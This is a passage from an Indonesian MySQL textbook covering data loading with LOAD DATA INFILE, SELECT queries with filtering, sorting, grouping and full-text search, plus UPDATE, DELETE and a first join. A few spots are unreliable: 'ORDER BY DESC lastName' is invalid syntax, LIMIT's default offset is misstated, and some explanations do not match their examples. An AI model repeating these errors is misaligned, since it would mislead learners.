kan akhir baris jika perlu. File data untuk tabel 

Inventaris mungkin terlihat seperti ini: 

 

Rock<TAB>Classic<TAB>Steely Dan<Tab>Aja<Tab>10.99  

RockTAB>Pop<TAB>Semisonic<Tab>All About  

Chemistry<Tab>11.99  

Rock<TAB>Classic<TAB>Beatles<TAB>Abbey Roa d<Tab>9.99  

 

File data dengan tab di antara field adalah file yang dibatasi tab. Format umum lainnya adalah 

file yang dipisahkan koma, di mana koma memisahkan field. Jika data kita dalam format file 

lain, kita perlu mengonversinya menjadi delimit file. Untuk mengonversi data dalam format 

file perangkat lunak lain menjadi delimit file, periksa manual untuk perangkat lunak tersebut 

atau bicarakan dengan pakar lokal yang memahami format data saat ini . Banyak program, 

seperti Excel, Access, dan Oracle, memungki nkan kita untuk membuat data ke dalam delimit 

file. Untuk file teks, kita mungkin dapat mengonversinya ke delimit format dengan 

memakai  fungsi search-and-replace dari editor atau pengolah kata. Untuk file yang 

benar-benar merepotkan, kita mungkin perlu mencari bantuan ahli atau programmer yang 

lebih berpengalaman. 

Anda dapat mengosongkan field dalam file data dengan menyertakan separator field 

tanpa data di antaranya. Jika field tidak didefinisikan sebagai NOT NULL, field tersebut kosong. 

Jika field didefinisikan sebagai NOT NULL, pemuatan file data gagal dan pesan kesalahan 

dikembalikan. Jika salah satu field adalah field AUTO_INCREMENT, seperti field SERIAL, kita 

dapat mengosongkannya dan MySQL akan memasukkan nilai AUTO_INCREMENT. Misalnya, 

file data berikut berisi data yang akan dimuat ke tabel Pelanggan. 

 

,Prakasa,Andi,,Austin,TX,88888,,, 

,Contrary,Mary,,Garden,ID,99999,,,  

,Sprat,Jack,,Pumpkin,NY,11111,,, 

 

File data ini dibatasi koma. Setiap baris dimulai dengan koma, membiarkan field 

pertama kosong untuk field ID pelanggan, yaitu SERIAL. Field lain di baris juga kosong dan akan 

75 

 

Manajemen Database MySQL

kosong di database sesudah  file data dimuat. Pernyataan SQL yang membaca data dari file teks 

adalah LOAD. Bentuk dasar dari pernyataan LOAD adalah: 

 

LOAD DATA INFILE “path/datafilename” INTO TABLE tablename 

 

Pernyataan memuat data dari file teks yang terletak di server Anda. Jika nama file tidak 

menyertakan jalur, MySQL mencari file data di direktori tempat file definisi tabel Anda, yang 

disebut namatabel.frm, berada. Secara default, file ini terletak di direktori bernama database 

Anda, seperti direktori bernama CustomerOrderInformation. Direktori ini terletak di direktori 

data Anda, yang terletak di direktori utama tempat MySQL diinstal. Misalnya, jika file bernama 

data.dat, status LOAD mungkin mencari file di C:\ Program Files\ MySQL\ MySQL Server 

5.0\ data\ CustomerOrderInformation\ data.dat. Bentuk dasar dari pernyataan LOAD dapat 

diikuti oleh frase opsional jika kita ingin mengubah pembatas default. Pilihannya adalah: 

 

FIELDS TERMINATED BY ‘character’ 

FIELDS ENCLOSED BY ‘character’ 

LINES TERMINATED BY ‘character’ 

 

Misalkan kita memiliki file data untuk tabel Pelanggan, kecuali bahwa field dipisahkan oleh 

koma, bukan tab. Nama file data adalah customer.dat, dan terletak di direktori yang sama 

dengan database. Pernyataan SQL untuk membaca data ke dalam tabel adalah: 

 

LOAD DATA INFILE “customer.dat” INTO TABLE Customer FIELDS TERMINATED BY ‘,’ 

 

Untuk memakai  pernyataan LOAD DATA INFILE, akun MySQL harus memiliki privileges 

FILE di host server. Kita membahas privileges akun MySQL. Kita juga dapat memuat data dari 

file teks di komputer lokal kita dengan memakai  kata LOCAL, sebagai berikut: 

 

LOAD DATA LOCAL INFILE “path/datafilename” INTO TABLE tablename 

 

Anda harus menyertakan jalur ke file. Gunakan garis miring untuk jalur, bahkan di komputer 

Windows, seperti "C:/data/datafile1 .txt". Jika  kita mendapatkan pesan kesalahan saat 

mengirim pernyataan ini, LOCAL mungkin tidak diaktifkan. Lihat 

http://dev.mysql.com/doc/refman/5.1/en/load-data.html untuk informasi lebih lanjut 

tentang kata kunci LOCAL. 

Untuk melihat data yang kita muat — untuk memastikan bahwa itu benar — gunakan 

kueri SQL yang mengambil data dari database. Kita menjelaskan jenis kueri SQL ini secara rinci 

di bagian selanjutnya. Singkatnya, gunakan kueri berikut untuk melihat semua data dalam 

tabel sehingga kita dapat memeriksanya: 

 

SELECT * FROM Customer  

 

Melihat Data dalam Database 

sesudah  data dimasukkan ke dalam database, kita mungkin ingin menelusuri data untuk 

melihat apakah data yang dimasukkan terlihat benar atau untuk mendapatkan gambaran 

76 

 

Manajemen Database MySQL

tentang tipe data apa yang ada dalam database. Kita juga bisa menelusuri data untuk 

menentukan informasi sederhana tentang database, seperti berapa banyak catatan yang 

dikandungnya. Kita dapat melihat semua data dalam tabel dengan kueri berikut: 

 

SELECT * FROM tablename  

 

Kueri ini mendapatkan semua data dari tabel. Kita dapat mengetahui berapa banyak catatan 

dalam tabel dan mendapatkan gambaran umum tentang data dengan menelusuri output. Kita 

bisa melihat persis berapa banyak catatan dalam tabel dengan kueri berikut: 

 

SELECT COUNT(*) FROM tablename  

 

Kueri ini menampilkan jumlah record yang terdapat dalam tabel. 

Mengambil Informasi dari Database 

Satu-satunya tujuan menyimpan informasi adalah menyediakannya saat kita 

memerlukan nya. Sebuah database hidup untuk menjawab pertanyaan. Produk apa yang 

dijual? Siapa pelanggannya? Berapa banyak pelanggan yang tinggal di Indonesia? Apa yang 

dibeli pelanggan? Banyak pertanyaan dijawab dengan mengambil data dari database. 

Misalnya, untuk mengetahui berapa banyak pelanggan yang tinggal di Indonesia, kita dapat 

mengambil semua catatan pelanggan di mana field bernama negara berisi IN. Sangat sering, 

kita mengajukan pertanyaan semacam ini dalam skrip PHP dan menampilkan jawabannya di 

halaman web. Dalam skrip PHP, kita dapat mengambil semua catatan untuk pelanggan 

Indonesia dan menampilkan daftar nama dan alamat mereka di halaman web. Untuk 

menjawab pertanyaan spesifik, kita memakai  kueri SELECT. Kita dapat mengajukan 

pertanyaan yang tepat, kompleks, dan terperinci dengan kueri SELECT. Kueri SELECT yang 

paling sederhana adalah: 

 

SELECT * FROM tablename  

 

Kueri ini mengambil semua informasi dari tabel. Tanda bintang (*) adalah wildcard yang 

berarti semua kolom. Kueri SELECT bisa jauh lebih selektif. Kata dan frasa SQL dalam kueri 

SELECT dapat menunjukkan informasi yang diperlukan untuk menjawab pertanyaan Anda. 

Berikut adalah beberapa trik yang dapat kita lakukan untuk membuat kueri SELECT: 

• Anda hanya dapat meminta informasi (kolom) yang kita butuhkan untuk menjawab 

pertanyaan Anda. Misalnya, kita hanya dapat meminta nama depan dan belakang 

untuk membuat daftar pelanggan. 

• Anda dapat meminta informasi dalam urutan tertentu. Misalnya, kita dapat meminta 

agar informasi diurutkan dalam urutan abjad. 

• Anda dapat meminta informasi dari objek yang dipilih (baris) di tabel Anda. Misalnya, 

kita dapat meminta nama depan dan belakang hanya untuk pelanggan yang alamatnya 

di Florida. 

Di MySQL 4.1, MySQL menambahkan kemampuan untuk menyarangkan kueri SELECT ke 

dalam kueri lain. Kueri bersarang disebut subkueri. Kita dapat memakai  subquery dalam 

pernyataan SELECT, INSERT, UPDATE, atau DELETE atau dalam klausa SET. Subquery dapat 

mengembalikan satu nilai, satu baris atau kolom, atau tabel, yang digunakan dalam kueri luar. 

77 

 

Manajemen Database MySQL

Semua fitur kueri SELECT dapat digunakan dalam subkueri. Lihat manual online MySQL di 

http://dev.mysql.com/doc/refman/5.5/en/subqueries.htm untuk informasi rinci tentang 

penggunaan subqueries. 

Mengambil informasi spesifik 

Untuk mengambil informasi tertentu, buat daftar kolom yang berisi informasi yang kita 

inginkan. Sebagai contoh: 

 

SELECT columnname,columnname,columnname,... FROM tablename 

 

Kueri ini mengambil nilai dari semua baris untuk kolom yang ditunjukkan. Misalnya, kueri 

berikut mengambil semua nama belakang dan nama depan dari kolom LastName dan 

FirstName yang disimpan di tabel Customer: 

 

SELECT lastName,firstName FROM Customer 

 

Anda dapat melakukan operasi matematika pada kolom saat kita memilihnya. Misalnya, kita 

dapat memakai  kueri SELECT berikut untuk menambahkan dua kolom: 

 

SELECT col1+col2 FROM tablename  

 

Atau kita dapat memakai  kueri berikut: 

 

SELECT price,price*1.08 FROM Inventory  

 

Hasilnya adalah harga dan harga ditambah pajak penjualan 8 persen. Kita dapat mengubah 

nama kolom saat memilihnya, sebagai berikut: 

 

SELECT price,price*1.08 AS priceWithTax FROM Inventory  

 

Klausa AS memberi tahu MySQL untuk memberi nama priceWithTax ke kolom kedua yang 

diambil. Dengan demikian, kueri mengambil dua kolom data: harga dan priceWithTax. Dalam 

beberapa kasus, kita tidak ingin melihat nilai dalam kolom, tetapi kita ingin mengetahui 

sesuatu tentang kolom tersebut. Misalnya, kita mungkin ingin mengetahui nilai terendah atau 

tertinggi di kolom. Tabel dibawah ini mencantumkan beberapa informasi yang tersedia 

tentang kolom. 

 

Tabel 4.1 Informasi yang dapat dipilih 

Format SQL Deskripsi Informasi 

AVG( columnname )  Mengembalikan rata-rata semua nilai dalam columnname 

COUNT( columnname )  Mengembalikan jumlah baris di mana columnname tidak 

kosong 

MAX( columnname )  Mengembalikan nilai terbesar dalam columnname 

MIN( columnname )  Mengembalikan nilai terkecil dalam columnname 

SUM( columnname )  Mengembalikan jumlah semua nilai dalam columnname 

 

Misalnya, kueri untuk mengetahui harga tertinggi dalam tabel Inventaris adalah: 

78 

 

Manajemen Database MySQL

SELECT MAX(price) FROM Inventory  

 

Kata-kata SQL yang terlihat seperti MAX() dan SUM(), dengan tanda kurung sesudah  namanya, 

adalah fungsi. SQL menyediakan banyak fungsi selain yang ada pada tabel diatas. Beberapa 

fungsinya memberikan informasi tentang kolom. Fungsi lain mengubah setiap nilai yang 

dipilih. Misalnya, SQRT() mengembalikan akar kuadrat dari setiap nilai dalam kolom, dan 

DAYNAME() mengembalikan nama hari dalam seming gu untuk setiap nilai dalam kolom 

tanggal, bukan tanggal sebenarnya yang disimpan di kolom. Lebih dari 100 fungsi tersedia 

untuk digunakan dalam kueri SELECT. Untuk deskripsi semua fungsi, lihat manual online 

MySQL di http://dev.mysql.com/doc/refman/5.5/en/functions.html. 

Mengambil data dalam urutan tertentu 

Anda mungkin ingin mengambil data dalam urutan tertentu. Misalnya, dalam tabel 

Pelanggan, kita mungkin ingin pelanggan diatur dalam urutan abjad menurut nama belakang. 

Atau, dalam tabel Inventaris, kita mungkin ingin berbagai produk dikelompokkan menurut 

kategori. Dalam kueri SELECT, ORDER BY dan GROUP BY memengaruhi urutan di mana data 

dikirimkan kepada Anda: 

• ORDER BY: Untuk mengurutkan informasi, tambahkan frasa ini ke kueri SELECT 

Anda: 

ORDER BY columnname 

Data diurutkan berdasarkan nama kolom dalam urutan menaik. Misalnya, jika 

nama kolom adalah nama belakang, data dikirimkan kepada kita dalam urutan 

abjad dengan nama belakang. Kita dapat mengurutkan dalam urutan menurun 

dengan menambahkan DESC sebelum nama kolom. Sebagai contoh: 

SELECT * FROM Customers ORDER BY DESC lastName  

• GROUP BY: Untuk mengelompokkan informasi, gunakan frasa berikut: 

GROUP BY columnname  

Baris yang memiliki nilai nama kolom yang sama dikelompokkan bersama. Misalnya, 

gunakan kueri ini untuk mengelompokkan baris yang memiliki nilai yang sama dengan 

Kategori: 

SELECT *  FROM Inventory GROUP BY Category  

Anda dapat memakai  GROUP BY dan ORDER BY dalam kueri yang sama  

Meminta Database MySQL 

Kita telah membuat database dan tabel MySQL, mengisinya dengan data, dan 

menambahkan indeks agar mudah dan cepat kditemukan saat  dicari. Sekarang saatnya 

untuk melihat bagaimana pencarian ini dilakukan. 

Mengambil data dari baris tertentu 

Seringkali, kita tidak menginginkan semua informasi dari tabel. Kita menginginkan 

informasi hanya dari baris yang dipilih. Tiga kata SQL sering digunakan untuk menentukan 

sumber informasi: 

• WHERE: Memungkinkan kita untuk meminta informasi dari objek database dengan 

karakteristik tertentu. Misalnya, kita dapat meminta nama pelanggan yang tinggal di 

California, atau kita hanya dapat membuat daftar produk yang merupakan kategori 

pakaian tertentu. 

• LIMIT: Memungkinkan kita untuk membatasi jumlah baris dari mana informasi diambil. 

Misalnya, kita dapat meminta informasi hanya dari tiga baris pertama dalam tabel. 

79 

 

Manajemen Database MySQL

• DISTINCT: Memungkinkan kita meminta informasi hanya dari satu baris baris yang 

identik. Misalnya, dalam tabel Login, kita dapat meminta loginNametetapi tidak 

menentukan nama duplikat, sehingga membatasi respons ke satu record untuk setiap 

member. Ini akan menjawab pertanyaan, “Apakah pelanggan pernah login?” daripada 

pertanyaan “Berapa kali pelanggan login? 

DELETE 

Untuk menghapus baris dari tabel gunakan perintah DELETE. Sintaksnya mirip dengan 

perintah SELECT, ini dapat mempersempit baris atau memakai  kualifikasi seperti WHERE 

dan LIMIT. Sekarang kita telah melihat efek dari qualifier DISTINCTkita harus menghapus 

Potret Diri Sebagai Komunikasi Visual Simbolik dengan memasukkan perintah dibawah ini.  

Contoh  Menghapus entri baru 

 

DELETE FROM classics WHERE title='Potret Diri Sebagai Komunikasi Visual Simbolik';  

 

Contoh ini mengeluarkan perintah DELETE untuk semua baris yang kolom judulnya 

berisi string Potret Diri Sebagai Komunikasi Visual Simbolik. Kata kunci WHERE sangat kuat, 

dan penting untuk dimasukkan dengan benar; kesal ahan dapat mengarahkan perintah ke baris 

yang salah (atau tidak berpengaruh jika tidak ada yang cocok dengan klausa WHERE).  

WHERE 

Kata kunci WHERE berfungsi untuk mempersempit kueri dengan mengembalikan kueri 

yang ekspresi tertentunya benar. Contoh menghapus entri diatas hanyalah mengembalikan 

baris yang kolomnya sama persis dengan string Potret Diri Sebagai Komunikasi Visual Simbolik 

dengan memakai  operator persamaan =. Contoh dibawah ini menunjukkan 

memakai  perintah WHERE dengan =.  

Contoh memakai  kata kunci WHERE 

 

SELECT author,title FROM classics WHERE author="Agus Widodo";  

SELECT author,title FROM classics WHERE isbn="9781598184891 ";  

 

Kita dapat dengan mudah menambahkan lebih banyak buku karya Agus Widodo, 

dalam hal ini baris pertama akan menampilkan semua judul buku yang dimilikinya, dan baris 

kedua akan berlanjut (karena kita tahu ISBN itu unik) untuk menampilkan Belajar PHP Dari 

Dasar. Dengan kata lain, penelusuran memakai  kunci unik lebih dapat diprediksi. Kita juga 

dapat melakukan pencocokan pola untuk pencarian kita memakai  qualifier LIKE, yang 

memungkinkan pencarian pada bagian string. Kualifikasi ini harus digunakan dengan karakter 

% sebelum atau sesudah beberapa teks. saat  ditempatkan sebelum kata kunci, % berarti 

“apa pun sebelumnya” dan sesudah  kata kunci berarti “apa pun sesudah nya”.  

Contoh memakai  kualifikasi LIKE 

 

SELECT author,title FROM classics WHERE author LIKE "Mars Caroline W%";  

SELECT author,title FROM classics WHERE title LIKE "%Species";  

SELECT author,title FROM classics WHERE title LIKE "%and%";  

 

Perintah pertama mengeluarkan publikasi oleh Mars Caroline W dan Sarwo Nugroho 

karena kualifikasi LIKE diatur untuk mengembalikan apa pun yang cocok dengan string Mars 

Caroline W diikuti oleh teks lainnya. Kemudian hanya Teknik Desain Realis dan Tata Warna 

yang dikembalikan, karena itu satu-satunya baris yang kolomnya diakhiri dengan string 

Species. Terakhir, Membangun PODCAST dan Potret Diri Sebagai Komunikasi Visual Simbolik 

dikembalikan, karena keduanya cocok dengan string dan di kolom mana saja.  

80 

 

Manajemen Database MySQL

Klausa WHERE dari kueri SELECT memungkinkan kita membuat pilihan yang rumit. 

Misalnya, bos kita ingin mengetahui semua pelanggan yang nama belakangnya dimulai 

dengan B, yang tinggal di Semarang, dan yang memiliki angka 8 di nomor telepon atau faks 

mereka. (Kita yakin ada banyak kegunaan untuk daftar seperti itu.) kita bisa mendapatkan 

daftar ini untuk bos kita dalam kueri SELECT dengan klausa WHERE. Format dasar klausa 

WHERE adalah: 

 

WHERE expression AND|O R expression AND|OR expression ...  

 

expression menentukan nilai untuk dibandingkan dengan nilai yang disimpan dalam database. 

Hanya baris yang berisi kecocokan untuk ekspresi yang dipilih. Kita dapat memakai  

ekspresi sebanyak yang diperlukan, masing-masing dipisahkan oleh AND atau OR. Saat kita 

memakai  AND, kedua ekspresi yang dihubungkan oleh AND (yaitu, ekspresi sebelum AND 

dan ekspresi sesudah  AND) harus benar agar baris dapat dipilih. Saat kita memakai  OR, 

hanya satu dari ekspresi yang dihubungkan oleh OR yang harus benar untuk baris yang akan 

dipilih. Beberapa ekspresi umum ditunjukkan pada Tabel dibawah ini. 

 

Tabel 4.2 Ekspresi Klausa WHERE 

Ekspresi Contoh Hasil 

column = value zip=“12345” Pilih hanya baris tempat 

12345 disimpan di kolom 

bernama zip  

column > valu zip > “50000” Hanya memilih baris yang 

kode posnya 50001 atau 

lebih tinggi 

column >= value zip >= “50000” Hanya memilih baris dengan 

kode pos 50000 atau lebih 

tinggi 

column < value zip < “50000” Hanya memilih baris dengan 

kode pos 49999 atau lebih 

rendah 

column <= value zip <= “50000” Hanya memilih baris dengan 

kode pos 50000 atau lebih 

rendah 

column BETWEEN value1 

AND value2 

zip BETWEEN “20000” AND 

“30000” 

Hanya memilih baris yang 

kode posnya lebih besar dari 

19999 tetapi kurang dari 

30001 

column IN 

(value1,value2,…) 

zip IN (“90001”,”30044”) Hanya memilih baris dengan 

kode pos 90001 atau 30044 

column NOT IN 

(value1,value2,…) 

zip NOT IN 

(“90001”,”30044”) 

Hanya memilih baris di 

mana kode ZIP adalah kode 

ZIP apa pun kecuali 90001 

atau 30044 

column LIKE value 

 

zip LIKE “9%” Pilih semua baris di mana 

kode ZIP dimulai dengan 9  

81 

 

Manajemen Database MySQL

Catatan: value dapat berisi % 

wildcard (yang cocok dengan 

string apa pun) dan _ (yang 

cocok dengan karakter apa 

pun). 

column NOT LIKE value 

 

Catatan: value dapat berisi % 

wildcard (yang cocok dengan 

string apa pun) dan _ (yang 

cocok dengan karakter apa 

pun). 

zip NOT LIKE “9%” Pilih semua baris 

 

Anda dapat menggabungkan ekspresi dari tabel diatas dengan AND dan OR. Dalam 

beberapa kasus, kita perlu memakai  tanda kurung untuk memperjelas kriteria pemilihan. 

Misalnya, kita dapat memakai  kueri berikut untuk menjawab kebutuhan mendesak bos  

kita untuk menemukan semua pelanggan yang namanya dimulai dengan B, yang tinggal di 

Semarang, dan yang memiliki angka 8 di nomor telepon atau faks mereka: 

 

SELECT lastName,firstName FROM Customer 

 WHERE lastName LIKE “B%” 

 AND city = “Semarang” 

 AND (phone LIKE “%8%” OR fax LIKE “%8%”) 

 

Perhatikan tanda kurung di baris terakhir. Kita tidak akan mendapatkan hasil yang kita minta 

tanpa tanda kurung. Setiap konektor akan diproses secara berurutan dari yang pertama 

hingga yang terakhir akan menghasilkan daftar yang mencakup semua pelanggan yang 

namanya dimulai dengan B dan yang tinggal di Semarang dan yang nomor teleponnya memiliki 

angka 8 dan semua pelanggan yang faksnya nomor memiliki 8 di dalamnya, apakah mereka 

tinggal di Semarang atau tidak dan apakah nama mereka dimulai dengan B atau tidak. saat  

OR terakhir diproses, pelanggan yang karakteristiknya cocok dengan ekspresi sebelum OR 

atau ekspresi sesudah  OR dipilih. Ekspresi sebelum OR terhubung ke ekspresi sebelumnya oleh 

AND sebelumnya, sehingga tidak berdiri sendiri, tetapi ekspresi sesudah  OR berdiri sendiri, 

menghasilkan pemilihan semua pelanggan dengan 8 di nomor faks mereka. 

LIMIT 

Kualifikasi LIMIT memungkinkan kita memilih berapa banyak baris yang akan 

dikembalikan dalam kueri, dan di mana dalam tabel untuk mulai mengembalikannya. saat  

melewati satu parameter, maka MySQL akan diberitahu untuk memulai dari awal hasil dan 

hanya mengembalikan jumlah baris yang diberikan dalam parameter itu. Jika kita melewati 

dua parameter, yang pertama menunjukkan offset dari awal hasil di mana MySQL harus 

memulai tampilan, dan yang kedua menunjukkan berapa banyak yang harus dikembalikan. 

Kita dapat memikirkan parameter pertama yang mengatakan, "Lewati jumlah hasil ini di awal."  

Contoh Membatasi jumlah hasil yang dikembalikan 

 

SELECT author,title FROM classics LIMIT 3;  

SELECT author,title FROM classics LIMIT 1,2;  

SELECT author,title FROM classics LIMIT 3,1;  

82 

 

Manajemen Database MySQL

 

Gambar 4.1 Membatasi baris yang dikembalikan dengan LIMIT 

 

memakai  kata kunci LIMIT 

LIMIT menentukan berapa banyak baris yang dapat dikembalikan. Bentuk untuk LIMIT 

adalah: 

 

LIMIT startnumber,numberofrows 

 

Baris pertama yang ingin kita ambil adalah startnumber, dan jumlah baris yang akan diambil 

adalah numberofrows. Jika startnumber tidak ditentukan, 1 diasumsikan. Untuk memilih 

hanya tiga pelanggan pertama yang tinggal di Salatiga, gunakan kueri ini: 

 

SELECT * FROM Customer WHERE state= “SL” LIMIT 3 

 

SELECT 

Perintah SELECT digunakan untuk mengekstrak data dari tabel. Sekarang mari kita 

periksa SELECT secara lebih rinci. Sintaks dasarnya adalah: 

 

SELECT something FROM tablename;  

 

Ini dapat berupa * (tanda bintang) yang berarti “setiap kolom”, atau kita dapat memilih untuk 

memilih kolom tertentu saja. Misalnya, contoh dibawah ini menunjukkan bagaimana memilih 

penulis dan judul saja.  

Contoh Dua pernyataan SELECT yang berbeda 

 

SELECT author,title FROM classics;  

SELECT title,isbn FROM classics;  

 

SELECT COUNT 

Pengganti lain untuk parameter something adalah COUNT, yang dapat digunakan 

dalam banyak cara. Dalam Contoh dibawah, ini menampilkan jumlah baris dalam tabel dengan 

melewatkan * s ebagai parameter, yang berarti “semua baris”. Seperti yang kita harapkan, 

hasil yang dikembalikan adalah 5, karena ada lima publikasi dalam tabel. 

83 

 

Manajemen Database MySQL

Contoh Menghitung baris 

 

SELECT COUNT(*) FROM classics;  

 

SELECT DISTINCT 

Kualifikasi ini (dan sinonimnya DIST INCTOW) memungkinkan kita untuk menyingkirkan 

beberapa entri yang berisi data yang sama. Misalnya, jika kita hanya memilih kolom penulis 

dari tabel yang berisi beberapa buku dengan penulis yang sama, kita hanya akan melihat 

daftar panjang dengan nama penulis yang sama berulang-ulang. Tetapi dengan menambahkan 

kata kunci DISTINCT penulis akan ditampilkan hanya sekali. Jadi mari kita uji dengan 

menambahkan baris lain yang mengulangi salah satu penulis kita yang ada. 

Baris dalam tabel dapat memiliki nilai yang identik dalam satu atau beberapa kolom. 

Namun, dalam beberapa kasus, saat kita klik SELECT sebuah kolom, kita tidak ingin mengambil 

beberapa baris dengan nilai yang sama. Kita ingin mengambil nilai hanya sekali. Misalnya, kita 

memiliki tabel produk dengan satu field yang disebut Kategori. Data tersebut tidak diragukan 

lagi mengandung banyak produk di setiap kategori. Sekarang anggaplah kita mau 

menampilkan daftar semua kategori yang tersedia di database. Kita ingin daftar ini berisi 

setiap kategori yang terdaftar hanya sekali. Kata kunci DISTINCT disediakan untuk tujuan ini. 

Untuk mencegah kueri SELECT mengembalikan semua rekaman identik, tambahkan kata kunci 

DISTINCT segera sesudah  SELECT, sebagai berikut: 

 

SELECT DISTINCT Category FROM Product 

 

Contoh Duplikasi data 

 

INSERT INTO classics(author, title, category, year, isbn)  

VALUES('Sarwo Nugroho','Potret Diri Sebagai Komunikasi Visual Simbolik','Ilmiah','1857', 

'9780141439969');  

 

Sekarang sesudah  Sarwo Nugroho muncul dua kali dalam tabel, kita dapat 

membandingkan hasil penggunaan SELECT dengan dan tanpa qualifier DISTINCT. Dalam 

contoh dan gambar dibawah ini menunjukkan bahwa SELECT sederhana mencantumkan 

perintah dengan qualifier DISTINCT hanya akan menampilkannya sekali. 

Contoh Dengan dan tanpa kualifikasi DISTINCT 

 

SELECT author FROM classics;  

SELECT DISTINCT author FROM classics;  

84 

 

Manajemen Database MySQL

 

Gambar 4.2 Memilih data dengan dan tanpa DISTINCT 

 

MATCH ... AGAINS 

Konstruksi MATCH ... AGAINST dapat digunakan pada kolom yang telah diberi indeks 

FULLTEXT. Kita dapat melakukan pencarian bahasa alami seperti yang kita lakukan di mesin 

pencari Internet dengan indeks tersebut. Berbeda dengan penggunaan WHERE ... = atau 

WHERE ... LIKE, MATCH ... AGAINST, ini memungkinkan kita memasukkan beberapa kata dalam 

permintaan pencarian dan memeriksa semua kata di kolom FULLTEXT.  

Contoh memakai  MATCH ... AGAINST pada indeks FULLTEXT 

 

SELECT author,title FROM classics 

WHERE MATCH(author,title) AGAINST('and');  

SELECT author,title FROM classics 

WHERE MATCH(author,title) AGAINST('old shop');  

SELECT author,title FROM classics 

WHERE MATCH(author,title) AGAINST('tom sawyer');   

 

MATCH ... AGAINST ... IN BOOLEAN MODE 

Jika kita ingin memberi kueri MATCH ... AGAINS gunakan mode Boolean. Ini akan 

mengubah efek kueri FULLTEXT standar. Kehadiran satu kata dalam kolom menyebabkan 

pencarian mengembalikan baris. Mode Boolean juga memungkinkan kita untuk mengawali 

kata pencarian dengan tanda +  atau untuk menunjukkan apakah kata tersebut harus 

disertakan atau dikecualikan. Jika mode Boolean normal mengatakan, "Salah satu dari kata -

kata ini akan dilakukan," tanda plus berarti "Kata ini harus ada; jika tidak, jangan kembalikan 

barisnya.” Tanda minus berarti “Kata ini tidak boleh ada; kehadirannya mendiskualifikasi baris 

agar tidak dikembalikan. ” Contoh dibawah ini mengilustrasikan mode Boolean melalui dua 

kueri.  

Contoh memakai  MATCH ... AGAINST ... IN BOOLEAN MODE  

 

SELECT author,title FROM classics 

WHERE MATCH(author,title)  

AGAINST(' +Mars -Desain Tata Warna' IN BOOLEAN MODE);  

SELECT author,title FROM classics 

85 

 

Manajemen Database MySQL

WHERE MATCH(author,title)  

AGAINST(' "Potret Diri"' IN BOOLEAN MODE);  

 

Seperti yang kita harapkan, permintaan pertama hanya mengembalikan Potret Diri 

Sebagai Komunikasi Visual Simbolik oleh Sarwo Nugroho, karena setiap baris yang 

mengandung kata spesies telah dikecualikan, sehingga publikasi Mars Caroline W diabaikan. 

UPDATE ... SET  

Konstruksi ini memungkinkan kita untuk memperbarui konten field. Jika kita ingin 

mengubah konten dari satu atau lebih field, kita harus terlebih dahulu mempersempit field 

atau field yang akan diubah, dengan cara yang sama seperti kita memakai  perintah 

SELECT. Contoh dibawah ini menunjukkan penggunaan UPDATE ... SET dalam dua cara yang 

berbeda.  

Contoh memakai  UPDATE ... SET 

 

UPDATE classics SET author='Agus Widodo '  

WHERE author='Agus Widodo';  

UPDATE classics SET category='Classic Ilmiah'  

WHERE category='Ilmiah';  

 

Dalam pertanyaan pertama, nama asli Agus Widodo ditambahkan ke nama penanya 

dalam tanda kurung, yang hanya mempengaruhi satu baris. Kueri kedua, mempengaruhi tiga 

baris, karena mengubah semua kemunculan kata Ilmiah di kolom kategori menjadi istilah 

Ilmiah Klasik. Saat melakukan pembaruan, kita juga dapat memakai  kualifikasi yang telah 

kita lihat, seperti LIMIT, dan kata kunci ORDER BY dan GROUP BY.  

ORDER BY 

ORDER BY mengurutkan hasil yang dikembalikan menurut satu atau beberapa kolom 

dalam urutan menaik atau menurun.  

Contoh memakai  ORDER BY 

 

SELECT author,title FROM classics ORDER BY author;  

SELECT author,title FROM classics ORDER BY title DESC;  

 

Seperti yang kita lihat, kueri pertama mengembalikan publikasi menurut penulis dalam 

urutan abjad menaik (default), dan k ueri kedua mengembalikannya menurut judul dalam 

urutan menurun Jika kita ingin mengurutkan semua baris menurut penulis dan kemudian 

menurut tahun publikasi, kita akan mengeluarkan kueri berikut: 

 

SELECT author,title,year FROM classics ORDER BY author,year DESC;  

 

Ini menunjukkan bahwa setiap kualifikasi naik dan turun berlaku untuk satu kolom. Kata kunci 

DESC hanya berlaku untuk kolom sebelumnya, tahun. Karena kita mengizinkan penulis untuk 

memakai  urutan pengurutan default, itu diurutkan dalam urutan menaik. Kita juga dapat 

secara eksplisit menentukan urutan menaik untuk kolom itu, dengan hasil yang sama: 

 

SELECT author,title,year FROM classics ORDER BY author ASC,year DESC;  

 

GROUP BY 

Dengan cara yang mirip dengan ORDER BY, kita dapat mengelompokkan hasil yang 

dikembalikan dari kueri memakai  GROUP BY untuk mengambil informasi tentang 

86 

 

Manajemen Database MySQL

sekelompok data. Misalnya, jika kita ingin mengetahui berapa banyak publikasi yang ada dari 

setiap kategori dalam tabel klasik, kita bisa mengeluarkan kueri berikut: 

 

SELECT category,COUNT(author) FROM classics GROUP BY category;  

 

yang mengembalikan output berikut: 

 

+---------------------+----------------+ 

| category     | COUNT(author)  | 

+---------------------+----------------+ 

| Classic Ilmiah  | 3    | 

| Ilmiah   | 1     | 

| Play      | 1     | 

+---------------------+----------------+ 

3 rows in set (0.00 sec) 

 

4.2 MENGGABUNGKAN TABEL BERSAMA 

Sangat normal untuk memelihara beberapa tabel dalam database, masing-masing 

menyimpan jenis informasi yang berbeda. Misalnya, pertimbangkan kasus tabel pelanggan 

yang harus dapat direferensikan silang dengan publikasi yang dibeli dari tabel klasik. 

Masukkan perintah dalam Contoh dibawah ini untuk membuat tabel baru ini dan mengisinya 

dengan tiga pelanggan dan pembelian mereka.  

Contoh Membuat dan mengisi tabel pelanggan 

 

CREATE TABLE customers (  

name VARCHAR(128),  

isbn VARCHAR(13),  

PRIMARY KEY (isbn)) ENGIN E MyISAM;  

INSERT INTO customers(name,isbn)  

VALUES('Agus Widodo','9780099533474');  

INSERT INTO customers(name,isbn)  

VALUES('Mars Caroline','9780582506206');  

INSERT INTO customers(name,isbn)  

VALUES('Sarwo Nugroho','9780517123201');  

SELECT * FROM customers;  

 

Dalam tabel yang tepat yang berisi detail pelanggan juga akan ada alamat, nomor 

telepon, alamat email, dan sebagainya. Saat membuat tabel baru, kita harus memperhatikan 

bahwa tabel tersebut memiliki kesamaan dengan tabel klasik: kolom bernama isbn. Karena 

memiliki arti yang sama di kedua tabel (ISBN mengacu pada buku, dan selalu buku yang sama), 

kita dapat memakai  kolom ini untuk mengikat kedua tabel menjadi satu kueri, seperti 

pada Contoh dibawah ini. 

 

SELECT name,author,title from customers,classics  

WHERE customers.isbn=classics.isbn;  

 

Hasil dari operasi ini adalah sebagai berikut: 

